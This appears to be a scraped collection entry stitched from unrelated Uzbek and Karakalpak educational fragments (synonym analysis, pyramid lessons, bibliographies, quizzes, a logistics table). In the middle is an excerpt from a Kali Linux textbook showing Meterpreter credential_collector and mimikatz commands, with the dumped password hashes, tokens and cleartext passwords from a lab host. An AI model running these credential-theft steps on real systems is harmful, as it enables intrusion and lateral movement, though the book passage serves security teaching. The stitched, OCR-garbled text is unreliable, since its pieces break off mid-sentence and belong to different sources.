nyuuzyou/kompy huggingface dataset:
qalıń
, 
nuw qaraǵay - Май 2021 10-қисм Тошкент май 2021 йил. Тошкент: «Tadqiqot», 2021. 202 б

|
Май 2021 10-қисм Тошкент май 2021 йил. Тошкент: «Tadqiqot», 2021. 202 б Pdf ko'rish
|
bet | 127/194 | Sana | 29.09.2024 | Hajmi | 3,67 Mb. | | #272877 |
Bog'liq 10.Pedagogika yonalishi 1 qismqalıń
,
nuw qaraǵay
qamıstıń arasınan shıqtı (31-bet).
Joqarıdaǵı «qalıń, nuw qaraǵay» sózleri sinonimler bolıp esaplanadı. Biraq olardıń qollanılıwı
órisi bir-birinen ayrılıp turadı. «Nuw qaraǵay» sózi awızeki sóylew tilinde qollanılsa, al «qalıń»
sózi kóbinese jazba tilde qollanıladı. Tómendegi mısallardı alıp qarayıq:
Awırıqtay bultıyǵan beti menen salbırap turǵan ernin kórip óziniń kelbetin jańa ǵana sezgendey,
kóziniń astı menen Jámiylaǵa kózin tikti de taǵı da aynasına qaradı (7-bet).
Shıpta úziktiń saqlaǵınan túsken jarıq juldızlar kózin qamastırıp, jalt-jalt qıpılıqlatıp, túnniń bir
sulıw kórkin Jámiylanıń aynaday jarqıraǵan júzin kórsetti. (13-bet).
Joqarıdaǵı mısallardaǵı beti, júzi, sın-sımbatı, kelbeti sózleri sinonimler bolıp, biraq kelbeti,
sın-sımbatı, beti degen sinonimler awız eki sóylew sinonimine tán, al júzi sózi kóbinese jazba tilde
qollanıladı. Mısallar:
Sonda jawdıń oǵınan qashıp júrip, bári-bir ólimge duwshar bolǵanım ba? (36-bet). Endi
ájeliń
jolbarıstan boldı, Qádir (36-bet). Sapar sen menen biz ushın
qurban bolǵan
eken (52-bet). Báhárge
salıp Jumabaydıń hayalı Ráwshan qápelimde awırıp
qaytıs boldı
. (50-bet). Patshanıń atlanısında
qaza bolsań
sheyit deydi ǵoy kitapta (30-bet).
Mısallardaǵı «ólim, ájel, qurban bolıw, qaytıs bolıw, qaza bolıw» sinonimler bolıp esaplanadı,
biraq olardıń arasında názik bolsa da hár bir sózdiń ózine tán stillik qollanıw ózgesheliginiń hám
kishigirim mánilik parqınıń bar ekenligin kóriwge boladı. Aytayıq óldi sózi menen qaza boldı,
qaytıs boldı sózleriniń arasında ózine tán mánilik ózgeshelikler bar. Óytkeni, qollanılıwı jaǵınan
óldi sózin qaza taptı, dúnyadan qayttı sózleri menen teń dep qarawǵa bolmaydı. Óldi sózi kóbinese
awızeki sóylew tiline tán bolsa, qaytıs boldı sózi jazba tilde jiyirek qollanıladı, yaǵnıy, óldi, qaytıs
boldı, qaza boldı sıyaqlı sinonim sózler qanday da bir mánilik belgileri arqalı, stillik talaplarǵa
muwapıq qollanılıwı arqalı ayrılıp turadı.
Romandı oqıp otırıp tek jazıwshınıń óziniń jazba stiline tán sinonimlerdi de ushıratıwǵa boladı.
Mısalı:
Uzaq ómirdi
|
| |
Фойдаланилган адабиётлар рўйхати - Май 2021 10-қисм Тошкент май 2021 йил. Тошкент: «Tadqiqot», 2021. 202 б

Фойдаланилган адабиётлар рўйхати: 1.
https://sputniknews-uz.com/analytics/20170703/5736267/ Ёшлар – улкан куч:
Мирзиёев ёшларга Ҳукумат эшикларини очди.html.html
2.
Мирзиёев Ш.М. Буюк келажагимизни мард ва олижаноб халқимиз билан бирга
қурамиз. – Т.: Ўзбекистон, 2017.
3.
Шерманов Э.У. Ўсмирларда ислоҳотларга дахлдорлик фазилатини ривожланти-
риш. Педагогика фанлари бўйича фалсафа доктори (PhD) диссертацияси автореферати. –
Самарқанд, 2020.
4.
Маликов Б.Қ. Ёшлар фаоллигининг ортиши – ижтимоий тараққиёт қонуни
сифатида// “Фуқаролик жамиятини ривожлантириш жараёнида ёшлар ижтимоий фаоллигини
ошириш омиллари”. Республика илмий-амалий анжумани материаллари. – Самарқанд:
СамДЧТИ, 2018.
5.
Социология молодёжи/ Под ред. В.Т.Лисовского. – СПб.: ГУ, 1996; Кон И.С.
Социология молодёжи// В кн.: Краткий словарь по социологии. – М.: Наука,1998.
6. Джалалов Б. Б. ЁШЛАР ИЖТИМОИЙ ФАОЛЛИГИНИ ОШИРИШНИНГ НАЗАРИЙ
МЕТОДОЛОГИК АСОСЛАРИ //Педагогика ва психологияда инновациялар. – 2020. – Т. 10.
– №. 3. URL: https://pedagogy.tadqiqot.uz/index.php/pedagogy/article/download/180/173
7. Джалалов Б. Б. Место и роль воздействия воспитания в повышении общественной
активности учащихся //Ученый XXI века. – 2016. – №. 5-1. – С. 38-41. URL: https://www.
elibrary.ru/item.asp?id=26540053
8. Сиддиков Б. С., Джалалов Б. Б. ЗАДАЧИ РАЗВИТИЯ АКТИВНОСТИ МОЛОДЁЖИ
С ПОМОЩЬЮ ПЕДАГОГИЧЕСКИХ ТРЕНИНГОВ //Ученый XXI века. – 2016. – №. 6-2.
URL: http://uch21vek.com/assets/uch21vek_6_2_2016.pdf
126
Май 2021 10-қисм Тошкент BOSHLANG’ICH SINFLARDA FAZOVIY FIGURA- PIRAMIDA Safarova Shoista Shaxrulloyevna Buxoro viloyati Vobkent tuman xalq ta‘limi bo‘limiga qarashli
5-sonli maktàb boshlangich sinf òqituvchisi
qırshın
etti (40-bet). Al oylasayıq, seniń 
múddáń

qırshın
etti (40-bet). Al oylasayıq, seniń
múddáń
ne?-dep ózine salmaq taslap,
taǵı irkildi (40-bet). Qaysı kólge
lashımdı
taslayın (40-bet). Kempir
kelemesh
sózler menen
ǵarrısına dápinip awzın qıysayttı (23-bet). Urǵan tayaǵı janına batqan soń jotalı, jawırınlı kempir
«kápir-aq bolayın» dep
pájmúrde
ǵarrınıń moynınan alıp ayqasadı (23-bet). Sovettiń hár awılı
onlaǵan qurban berip, jawdı jeńse onıń
oqası
joq (52-bet). Mine, kórip otırsaq, embeklegen baladan
eńkeygen ǵarrıǵa shekem qansha
sarsańkesek
boldı (52-bet).
Mısallarda kórgenimizdey, jazıwshı óz dóretpesinde qırshın, múddáń, lashı, kelemesh, pájmúrde,
oqası, sarsańkesek degen sózler paydalanǵan. Bunda qırshın - qısqa, múddáń - maqsetiń, niyetiń,
lashı - denesi, kelemesh - bolmaǵır, jaman, pájmúrde - kishi boylı, kishkene, oqası - máleli, zıyanı,
sarsańkesek - qıynalıw degen sózler menen sinonimlik qatar dúzedi.
128
Май 2021 10-қисм
Тошкент
Qaraqalpaq tilinde sinonimler sóz shaqapları kóz qarasınan alıp qaraǵanda hár túrli sóz
shaqapların óz ishine alatuǵının kóriwge boladı. Mısalı: Mańlay - peshana, kásip - kár, orın – mákan
- atlıq sózlerden, sulıw – shıraylı – kórkem – gózzal - kelbetlik sózlerden, qaraw - kóz tigiw - názer
salıw - feyil sózlerden, mudamı – bárhama – bárqulla – áste – jay -asıqpay – ráwish sózlerden,
gúllán – barlıq – pútkil – bári - almasıq sózlerden jasalǵan hám taǵı basqa sinonimlik qatarlar belgili
bir sóz shaqabınıń ishinde ǵana payda boladı. Máselen, atlıqtan bolǵan bir sinonimlik qatarǵa
ekinshi bir sóz shaqabınan sinonimlerdiń kiriwi yamasa ekinshi bir sóz shaqabınan turatuǵın
sinonimlik qatarǵa atlıqtan jasalǵan sinonimniń kiriwi múmkin emes. Sinonimlerdiń bir qásiyetin
olardıń mánilesligi arasındaǵı baylanıstan tuwǵan qásiyet dep túsiniwge boladı. Tildiń basqa da
qubılısları sıyaqlı sinonimlerde qalay bolsa solay payda bola bermeydi. Onıń belgili bir ózine tán
nızamlılıqları bar.
Demek, jazıwshınıń shıǵarmalarında qollanılǵan sinonim sózlerdi, sonday-aq stillik sinonimlerdi
elede úyreniw áhmiyetli másele sanaladı.
Ádebiyatlar:
1. Бердимуратов Е. Ҳәзирги қарақалпақ тили, лексикология, Нөкис, 1994, 51-52-бет-
лер
2. Бекбергенов А. Қарақалпақ тилиниң стилистикасы, Нөкис, 1990.
3. Қәлендеров М. Қарақалпақ тили синонимлериниң қысқаша сөзлиги, Нөкис, 1990.
4. Султанов К. Ақдәрья. Нóкис, 2018.
|
Май 2021 10-қисм - Май 2021 10-қисм Тошкент май 2021 йил. Тошкент: «Tadqiqot», 2021. 202 б

|
Май 2021 10-қисм Тошкент май 2021 йил. Тошкент: «Tadqiqot», 2021. 202 б Pdf ko'rish
|
bet | 131/194 | Sana | 29.09.2024 | Hajmi | 3,67 Mb. | | #272877 |
Bog'liq 10.Pedagogika yonalishi 1 qismМай 2021 10-қисм
Тошкент
muassasalarining 1-sinfidan boshlab aniqlash va rivojlantirish, o’quvchilarning savodxonligini
baholash bo’yicha xalqaro baholash dasturlari va tanlovlarida ishtirok etishni ta’minlash
dasturini ishlab chiqadi. Bundan tashqari, xalqaro tadqiqotlar natijalariga asoslangan holda
o’qish, matematika va tabiiy yo’nalishdagi fanlardan o’quv dasturlari hamda o’quv adabiyotlari
mazmuniga o’zgartirish va qo’shimchalar kiritish, xalqaro tadqiqotlarning baholash dasturlari
yo’nalishlaridagi savollar milliy bazasini yaratish va o’quv dasturlariga integratsiya qilish,
o’quvchilar savodxonligini baholashning milliy tizimini takomillashtirish va 2019-2021 yillarda
amaliy ko’nikmalarini shakllantirilishini baholashga qaratilgan sinovlarni tizimli ravishda
o’tkazib borish, xalqaro tadqiqotlarning baholash dasturlari yo’nalishlaridagi savollarni o’zida
mujassam etgan o’quv dasturlari asosida qo’shimcha metodik qo’llanma va adabiyotlar yaratish,
Qoraqalpog’iston Respublikasi, viloyatlar markazlari va Toshkent shahar hamda har bir tuman
(shahar)da xalqaro tadqiqotlarni amalga oshirishga yo’naltirilgan tayanch maktablarni belgilash,
umumiy o’rta ta’lim muassasalaridagi iqtidorli pedagog kadrlarni xalqaro baholash
dasturlari bo’yicha ilmiy tadqiqotlarga jalb qilish, umumiy o’rta ta’lim muassasalarini
zamonaviy axborot-kommunikatsiya vositalari bilan jihozlanganlik va Internet jahon axborot
tarmog’iga ulanganlik holatini inventarizatsiya qilish hamda mavjud muammolarni bartaraf qilish
choralarini ko’rish vazifalarini ham amalga oshiradi.
O’zbekiston Respublikasi Oliy va o’rta maxsus ta’lim vazirligi xalqaro tadqiqotlar o’tkaziladigan
o’qish, matematika va tabiiy yo’nalishdagi fanlar bo’yicha mutaxassislar tayyorlovchi oliy ta’lim
muassasalari, malaka oshirish va qayta tayyorlash hududiy mintaqaviy va tarmoq markazlarining
o’quv dasturlariga xalqaro tadqiqotlar natijalariga asoslangan holda o’zgartirish va qo’shimchalar
kiritib borish, xalqaro tadqiqotlar dasturlarining mazmun-mohiyatidan kelib chiqib,
davlat ilmiy-texnika dasturlari doirasida loyihalar tayyorlash singari vazifalarni amalga oshiradi.
O’zbekiston Respublikasi Axborot texnologiyalari va kommunikatsiyalarini rivojlantirish
vazirligi Milliy markazning murojaatiga asosan uni belgilangan tartibda zarur aloqa vositalari,
shu jumladan hukumat aloqa vositalari bilan ta’minlaydi. O’zbekiston Respublikasi Tashqi
ishlar vazirligi PISA va TALIS xalqaro tadqiqotlarida O’zbekiston Respublikasining ishtirok
etishi yuzasidan Iqtisodiy hamkorlik va taraqqiyot tashkiloti bilan hamkorlik shartnomalarining
imzolanishini tashkil etadi.
|
| |
Annotatsiya - Май 2021 10-қисм Тошкент май 2021 йил. Тошкент: «Tadqiqot», 2021. 202 б

|
Май 2021 10-қисм Тошкент май 2021 йил. Тошкент: «Tadqiqot», 2021. 202 б Pdf ko'rish
|
bet | 125/194 | Sana | 29.09.2024 | Hajmi | 3,67 Mb. | | #272877 |
Bog'liq 10.Pedagogika yonalishi 1 qismAnnotatsiya:
Ushbu maqolada boshlang’ich sinflarda piramida mavzusini kengroq va to’liqroq
tushuntirish haqida fikrlar yoritilgan.
Kalit so’zlar:
piramida ,asos,qirra
Piramida
(yun. pyramidos) - bitta koʻpburchak (asos) va umumiy uchga ega boʻlgan
uchburchaklar (yon yoqlar) bilan chegaralangan jism. Asosining shakliga koʻra, uch burchakli
P., toʻrt burchakli P. va boshqa deb yuritiladi. P. uchi (R)sj asos tekisligiga tushirilgan
perpendikulyar P.ning balandligi deyiladi. Asosi muntazam koʻpburchak boʻlib, balandligi asos
markaziga tushadigan P. muntazam P. deb ataladi. Muntazam P.ning yon yoqlari bir xil teng
uchburchaklardan iborat, ularning balandligi P.ning apofemasi deyiladi. P. hajmi V = -4 SH
formula bilan topiladi; bunda, S — asosi yuzi; N — balandligi.
P. asosiga parallel tekislik bilan kesilsa, asos tomonda kesik P., kesimda esa asosga oʻxshash
koʻpburchak (ustki asos) hosil boʻladi
• Ta’rif. Yoqlaridan biri tekis ko'pburchak
bo'lib, qolgan yoqiari esa umumiy uchga ega bo'lgan
chburchaklardan tuzilgan ko'pyoqlik piramida deyiladi
• Ko'pburchak piramidaning asosi va uchburchakkir
esa uning yon yoqiari deb ataladi. Yon yoqlarining
umumiy uchi piramidaning ham uchi hisoblanadi va u
asos tekisiigida yotmaydi. Asosi muntazam ko'pburchakli
piramida
muntazam piramida
deb ataladi. Piramida bal-
andligi asosining markazidan o'tib, unga perpendikulyar
bo'lsa, uni to'g'ri piramida, perpendikulyar bo'lmasa og'ma
piramida deb yuritiladi Eng yuqorida piramidaning uchi
joylashgan. Piramidaning yon tomonlari uchburchaklardan, ostki qismi esa ko‘pburchakdan ibo-
rat bo‘lib, asosi deyiladi. Asosidagi burchaklar soni nechta bo‘lsa, shuncha burchakli piramida
deyiladi
Misr piramidalari
— Misrda joylashgan piramida
shaklidagi qadimiy tuzilmalar hisoblanadi.
2008-yil noyabr oyiga koʻra, piramidalar soni 118–138
orasida. Piramidalarning aksariyati Qadimgi qirollik va
Oʻrta qirollikning firʼavn va ularning xotinlari uchun bunyod
etilgan. Eng mashhur Misr piramidalari Giza shahrida
joylashgan. Ularning eng kattasi Keops piramidasi boʻlib,
bu piramida jahonning yetti moʻjizasidan biridir.
|
| |
Foydalanilgan adabiyotlar ro’yhati

132
Май 2021 10-қисм
Тошкент
O‘ZBEK TILI DARSLARIDA INTERFAOL METODLARDAN FOYDALANISH
Sattorova Shoira Oblaqulovna
Navoiy viloati Zarafshon shahar
4-umumiy o`rta ta’lim maktabi
o’zbek tili o’qituvchisi
Telefon: +99893 665 39 97
Annotatsiya:
Ta’lim uzoq davom etadigan jarayon bo’lib, uning sifati darsda qo’llanilgan
metodlarga bog’liq. Mazkur maqolada o‘zbek tili darslarida foydalanishga tavsiya etiladigan
interfaol metodlardan namunalar keltirilgan.
Kalit so’zlar:
Intefaol metodlar, innovatsion texnologiya, “Charxpalak” texnologiyasi,
“Taqdimot”, “Tanlash ixtiyoriy,bajarish majburiy” , “Imkoniyat” usullari.
Bugungi kunda jamiyatimizda yangi ijtimoiy munosabatlarning shakllanishi, ta’limning jahon
ta’lim tizimiga integratsiyalashuvi zamonaviy pedagogik texnologiyalarda yangicha yondashuv
zarurligini taqozo etmoqda. Bu yondashuvlar o’z navbatida o’quv jarayonining tashkiliy va
metodik jihatlariga muayyan ijobiy o’zgarishlar olib kirmoqdaki, ularning ko’pchiligi pedagogik
texnologiya va pedagogik mahorat bilan uzviy bog’liq.
Har bir darsni o’ziga xos usul asosida o’tish, o’quvchining fanga bo’lgan qiziqishini oshirish,
uning qalbida ilmga muhabbat uyg’otish o’qituvchining mahoratiga bog’liq. Muallimning
mahoratini oshirishga xizmat qiluvchi vositalardan biri zamonaviy pedagogik texnologiyalardir.
Zamonaviy pedagogik texnologiya – hozirgi zamon didaktikasi va pedagogikasi taraqqiyotining
mahsuli.
Ko’p yillar davomida an’anaviy dars o’tish ta’limning asosiy shakllaridan biri bo’lib
keldi. An’anaviy darsda o’qituvchi faol, o’quvchi esa passiv ishtirokchiga aylanadi. Bu esa
o’quvchining mustaqil fikrlashi, izlanuvchanlik qobiliyati rivojlanishiga to’sqinlik qiladi. Axborot-
kommunikatsiya texnologiyalari shiddat bilan rivojlanayotgan bir paytda bunday darslar yaxshi
samara bermaydi. Bugungi davr talabi dars jarayonini noan’anaviy tarzda mazmunli tashkil etish,
o’quvchilarning qiziqishini orttirib, ularning o’quv jarayonidagi faolligini ta’minlashni taqozo
etadi.
Ta’lim uzoq davom etadigan jarayon bo’lib, uning sifati darsda qo’llanilgan metodlarga bog’liq.
Darsning mazmunli o’tishi, unda qanday metodlardan foydalanilgani va natijaga erishilgani
o’qituvchining mahorati, bilim darajasini belgilaydi. Darsda metodlar to’g’ri tanlansa, maqsadga
tez va oson erishiladi. Interfaol metodlarni tanlash har bir darsning didaktik maqsadidan kelib
chiqqan holda amalga oshiriladi. Bu esa o’qituvchidan har doim bir xil usulda emas, dars
mavzusiga mos metodlar asosida dars o’tishni talab etadi. Buning uchun o’qituvchi doimo o’z
ustida ishlashi, bilim va kasbiy malakasini oshirib borishi, ilm-fan yangiliklaridan xabardor
bo’lishi va o’z faoliyatida ulardan samarali foydalanishi lozim.
Modda miqdorini o’lchaydigan asboblar

277
-
=
(1+dt)
+ T = t+273
0
C
-
=
(1+At+B
-
=
O’lchov asbobi nomi bilan uning shartli belgisi o’rtasidagi moslikni aniqlab bering:
Ulchov
asbobining nomi
Ulchov asbobining shartli belgisi
A
V
S
D
E
Vattmetr
W
KW
MW
W
W
Golvonometr
G
A
mA
G
µA
Mikroampermetr
µA
A
mA
µA
A
Foydalanilgan adabiyotlar - Investitsiya faoliyatini moliyalashtirishning usullari annotatsiya

|
Investitsiya faoliyatini moliyalashtirishning usullari annotatsiya
|
bet | 2/2 | Sana | 09.12.2023 | Hajmi | 18,21 Kb. | | #114227 |
Bog'liq Investitsiya faoliyatini moliyalashtirishning usullari tursunaliyev shohruhFoydalanilgan adabiyotlar:
1.Sherov,A.(2015).Foreignexperienceinfinancingofhighereducationalsystem.Scientificenquiryinthecontemporaryworld:theoreticalbasicsandinnovativeapproach[L26],1,92-95.[1]2.Ibodov,A.,&Sherov,A.(2015).AnalysisofbankrisksinUzbekistan.Scientificenquiryinthecontemporaryworld:theoreticalbasicsandinnovativeapproach[L26],1,60-63.[2]3.BoberskiVince.CommunityBankingStrategies:SteadyGrowth,SafePortfolioManagement,andLastingClientRelationshipsFirstpublished:10September2012PrintISBN:9781576603697-79p.[3]4.DochertyAdrianandFranckViort.BetterBanking:UnderstandingandAddressingtheFailuresinRiskManagement,GovernanceandRegulationFirstpublished:20December2013PrintISBN:9781118651308,—115p.[4]5.JonathanGolinandPhilippeDelhaise.TheBankCreditAnalysisHandbook,AGuideforAnalysts,Bankers,andInvestors.—SecondEdition.—Wiley,2013.—924p.
|
| |
Using Meterpreter | 187 - Learning Kali Linux

mation about the account associated with a process or thread. These tokens could be
used to impersonate another user because the token could
be used as a way of gaining
access with the permissions of the user whose token has been grabbed.
Example 6-10
shows the run of
check_credentials
with a portion of the password hashes and the
tokens that were pulled.
Example 6-10. Running check_credentials
meterpreter > run post/windows/gather/credentials/credential_collector
[
*
]
Running module against VAGRANT-2008R2
[
+
]
Collecting hashes...
Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c
245d35b50b
Extracted: anakin_skywalker:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e5
5cde2f3de94fa
Extracted: artoo_detoo:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea6
3b7577b4
Extracted: leia_organa:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f
21f14028
Extracted: luke_skywalker:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0
e9bac82005a
Extracted: sshd:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Extracted: sshd_server:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d0
0ec27035
Extracted: vagrant:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35
b50b
[
+
]
Collecting tokens...
NT
AUTHORITY
\L
OCAL
SERVICE
NT AUTHORITY
\N
ETWORK SERVICE
NT AUTHORITY
\S
YSTEM
VAGRANT-2008R2
\s
shd_server
NT AUTHORITY
\A
NONYMOUS LOGON
meterpreter >
Some of the tokens that were extracted are common ones
used for services that are
running on a Windows system. The Local Service account is one that is used by the
service control manager, and it has a high level of permissions on the local system. It
would have no privileges within the
context of a Windows domain, so you couldn’t
use it across multiple systems. However, if you compromise a system running with
this account, you will essentially have administrative permissions.
A post-exploitation module available to run in Meterpreter is
mimikatz
. The
mimi‐
katz
module includes functions related to acquiring passwords. While you can get the
majority
of these in other ways,
mimikatz
provides another mechanism to get creden‐
tials. It’s also a one-stop shop for ways to get credentials from different sources,
including the SAM, as well as from memory. Before we do anything, we need to
load
mimikatz
. Once
the mimikatz module is loaded, we use the
mimikatz_command
to
l-rasm - M. L. Tursunxodjayev Tashkent davlat texnika universiteli

ham m a h su lo t ishlab c h iq a rish d a q o ‘lla n ila d ig a n d e ta lla r
(ikkilam chi ehtiyoj), ham kelib tushadigan yig'uv birliklari
(birlamchi ehtiyoj) to ‘g‘risida gap ketmoqda.
10. 1-jadval
Ehtiyot qismlarga boigan brutto va netto
ehtiyojlarning hisobi (dona)
Ko‘rsatkichlar
Ko‘rsatkichlarning davr bo‘yicha o ‘zgarishi
Jami
1
2
3
4
5
6
Ehtiyot qismlarga
b o ig a n ehtiyoj
80
40
40
30
40
40
270
Ikkilam chi ehtiyoj
160
120
180
90
120
160
850
Brutto ehtiyoj
240
160
220
120
160
200
1100
Mavjud zaxiralar
450
210
50
0
0
0
450
N etto ehtiyoj
-
-
170
120
160
200
650
10.1-jadvaldan ko‘rinib turibdiki, brutto ehtiyoj birlamchi va
ikkilamchi ehtiyojlardan kelib chiqqan holda aniqianadi. Om borda
450 d o n a m a te ria l m av ju d . N e tto e h tiy o j 650 d o n a d a n
(1100—450) iborat. M a’lum m uddatda netto ehtiyojni aniqlash
u c h u n om bordagi zaxiralar, uni qoniqtirishga zaru r b o ig a n
zaxiralar hajmi ayirib tashlanadi. Shunday qilib davrlar bo'yicha
quyidagi natijalar kuzatiladi: birinchi davr — netto ehtiyoj mavjud
emas, chunki ombordagi zaxiralar brutto ehtiyojdan oshib ketgan;
ikk in ch i davr — n e tto ehtiyoj m avjud em as, davr boshiga
ombordagi zaxiralar 210 donadan iborat (450-240); uchinchi davr
— mavjud zaxiralar 50 do n ad an (210—260) va n etto ehtiyoj
170 donadan (220—50) iborat.
| Chapter 6: Owning Metasploit

run the different functions.
Example 6-11
shows the use of
mimikatz_command
to
search for passwords.
Example 6-11. Using mimikatz to get passwords
meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[
0
]
{
sshd_server ; VAGRANT-2008R2 ; D@rj33l1ng
}
[
1
]
{
Administrator ; VAGRANT-2008R2 ; vagrant
}
[
2
]
{
VAGRANT-2008R2 ; sshd_server ; D@rj33l1ng
}
[
3
]
{
Administrator ; VAGRANT-2008R2 ; vagrant
}
[
4
]
{
VAGRANT-2008R2 ; Administrator ; vagrant
}
[
5
]
{
sshd_server ; VAGRANT-2008R2 ; D@rj33l1ng
}
The output shows passwords associated with users on the system. Beyond searching
for
passwords, we can use
msv
to get password hashes. Since Windows uses Kerberos
to do system-to-system
authentication, it’s useful to be able to extract Kerberos
authentication after we have compromised a system. Getting Kerberos information
may allow us to migrate from our current compromised
system to another system on
the network. The
mimikatz
module will pull the Kerberos information by running
kerberos
. Neither
msv
nor
kerberos
requires
you to run
mimikatz_command
. You need
to load
mimikatz
and then run those functions directly. Similarly, you don’t need to
use
mimikatz_command
to use
ssp
and
livessp
. This will
pull information from the
security service provider under Windows.
The
mimikatz
module is written by someone who is French. As a
result, all of the help that you can get from the module is also writ‐
ten in French. The commands you use to make
mimikatz
work are
in English, but if you need additional details such as the parame‐
ters, you need to either be able to read French or find a way to
translate them reliably.
I-bo‘lim. Xavfli sanoat obektlarda elektr moslamalari bilan ishlaganda yong’in xavfsizligini taminlash chora-tadbirlari I-bo‘lim. Xavfli sanoat obektlarda elektr moslamalari bilan ishl-fayllar.org

|
Topshiriq………………………………………………………………..……
|
2
|
|
I. KIRISH……………………………………………………………..…….
|
3
|
|
ASOSIY QISMI.......................................................................................
|
7
|
|
I-BO‘LIM. XAVFLI SANOAT OBEKTLARDA ELEKTR MOSLAMALARI BILAN ISHLAGANDA YONG’IN XAVFSIZLIGINI TAMINLASH CHORA-TADBIRLARI.......................................................
|
7
|
1.1
|
Yong’in xavfsizligi asoslari............................................................................
|
7
|
1.2
|
Sanoat korxonalarida yong’in xavfsizligi asoslari..........................................
|
12
|
1.3.
|
Binolarni loyhalash va konstruktiv yechim qabul qilishda yong’in xavfsizligini ta’minlash...................................................................................
|
16
|
1.4.
|
Birlamchi o’t o’chirish vosiyalari.......................................................................
|
18
|
|
II- BO‘LIM.XAVFLI SANOAT OBEKTLARDAGI BINOLAR VA XONALARNI ELEKTR VA YONG’IN XAVFSIZLIGI BO’YCHA TOIFALARGA AJRATISH............................................................................
|
20
|
2.1.
|
Elektr toki urushi xavfi bo’ycha binolarni tasniflash......................................
|
20
|
2.2.
|
Qisqa tutashuv………...……………………………………………………..
|
23
|
2.3.
|
Elektr moslamalarini himoyalovchi
qurilmalar(aparatlar)…………………………………………………………
|
26
|
|
3- BО‘LIM. XAVFLI SANOAT OBYEKTLARDAGI BINOLAR VA XONALARGA TOSPSHIRIQLAR BILAN AVTOMATIK O’T O’CHIRISH MOSLAMALARINI TANLASH VA O’RNATISH.................
|
35
|
3.1.
|
Yong’inni aniqlash va o’chirishning avtomat vositalari.................................
|
35
|
3.2.
|
Sanoat korxonalarida avtomatlashgan o’t o’chirish tizimidagi gidravlik holatni aniqlash...............................................................................................
|
38
|
|
XULOSA……………………………………………………………………
|
43
|
|
FOYDALANGAN ADABIYOTLAR RUYXATI......................................
|
46
|
|
KURS LOYIHASI ILOVALARI...............................................................
|
47
|
“____” ________ 2022 y. «Yong‘in xavfsizligi» fani bo‘yicha
Kompyuterlarni tarmoqqa ulashning asosiy maqsadi nima - bet 119

Klaviatura nima?
|
Shahsiy kompyuterga sonli, matnli va boshqaruvchi axborotni qo’lda kiritish uchun qurilma;
|
Grafik planshetlar (digitayzerlar) nima?
|
Planshet bo’yicha maxsus ko’rsatkichni (peroni) harakatlantirish yo’li bilan grafik ma’lumotlarni, tasvirlarni qo’lda kiritish uchun pero siljiganda uning koordinatalari uqiladi va bu ma’lumotlar Shahsiy Kompyuterga kiritiladi;
|
Grafik ko’ruvchilar (plotterlar) —
|
Grafik ma’lumotni (grafiklar, chizmalar, rasmlar) Shahsiy Kompyuter dan qog’ozdagi tashuvchiga chiqarish uchun foydalaniladigan qurilmadir.
|
Nuqtalar o'rniga kerakli so'zni qo'ying. Grafik ko’ruvchilar yani ……… lardir.
|
plotтer
|
Nuqtalar o'rniga kerakli so'zni qo'ying. Grafik planshetlar yani ……… lardir.
|
digittayzerlar
|
Multimedia so'zini manosi?
|
ko'p vosiтalilik
|
Multimedia (multimedia — ko’p vositalilik) vositasi bu?
|
apparat va dastur vositalari to’plani bo’lib, u odamga kompyuter bilan o’zi uchun tabiiy bo’lgan turli xil muhitlarni: tovush, video, grafika, matnlar, animatsiya va b. ishlatib, muloqot qilishni ta’minlaydi.
|
Ma’lumotlarni audio — (nutqli) va videokiritish va chiqarish qurilmalari qanday vositalar tukumiga kiradi?
|
Multimedia vositalariga
|
Akustik tizimlar yani … ?
|
Kalonkalar
|
Akustik tizimlarga tog'ri tarifni tanlang?
|
multimedia tizimining majburiy bo’lmagan, lekin borligi ma’qo’l bo’lgan tashkil еtuvchisidir
|
Signallarni to’g’ri o'zgartiruvchi modem nima deb ataladi?
|
modulyator
|
Signallarni teskari o'zgartiruvchi modem nima deb ataladi?
|
demodulyator
|
Modemning uzatishdagi vazifasi?
|
keng polosali impulslarni (raqamli kodni) tor polosaliga (analog signallarga) o’zgartirish
|
Modemning qabul qilishdagi vazifasi?
|
qabul qilingan signalni holaqitlardan filtrlash va detektorlash uchun, ya’ni tor polosali analogli signalni raqamli kodga teskari o’zgartirish.
|
Signalning biror parametrini aloqa kanalida (modulyatsiya qilinadigan signalni) uzatilayotgan ma’lumotlarning joriy qiyatlariga mos ravishda (modulyatsiya qiladigan signalni) o’zgartirish nima deyiladi?
|
modulyatsiya
|
Aloqa kanalidan o’tish paytida halaqitlar bilan buzilgan signalni modulyatsiya qiladigan signalga teskari o’zgartirishga nima deyiladi?
|
demodulyatsiya
|
Printer kashfiyotchisi?
|
Charliz Bebbidj
|
|
Xaridni rejalashtirish - M. L. Tursunxodjayev Tashkent davlat texnika universiteli

Bunda og'irligiga, hajmiga va yetkazib beriladigan yukiarning
boshqa ko'rsatkichlariga, shuningdek, yetkaziladigan narsalarga
xizmat ko‘rsatish talablari belgiianadi.
S o'n g reja va jad v allar ham da ro ‘yxatdagi ham m a yoki
guruhlar uchun ishlab chiqiladi.
Iste’mol qilinadigan moddiy resurslar natijasida «sotib olish
kerakmi yoki yasashmi» degan masala hal etiladi.
G
rin - 2 Tabiiy fan Darslik (6 sinf). indd

98
7-bob. GEOGRAFIK XARITALAR
Geograﬁ k uzoqlikni aniqlash ham yuqoridagi ketma-ketlik kabi amalga oshiriladi. Faqat
endi hisob meridianlar oralig‘idan olinadi.
1. Masalan, koordinatasi 18⁰ janubiy kenglik, 85⁰ sharqiy uzoqlik bo‘lgan nuqtani
xaritadan topishimiz kerak. Buning uchun dastlab koordinatasi berilgan nuqtani to-
pishimiz kerak bo‘lgan xarita yoki globusda parallel va meridianlar necha darajadan
o‘tganini aniqlab olishimiz kerak. Masalan, bizga parallel va meridianlari har 10⁰ dan
o‘tgan xarita berilgan.
2. So‘ngra 10⁰ paralleldan 18⁰ parallelgacha qancha masofa borligi topiladi:
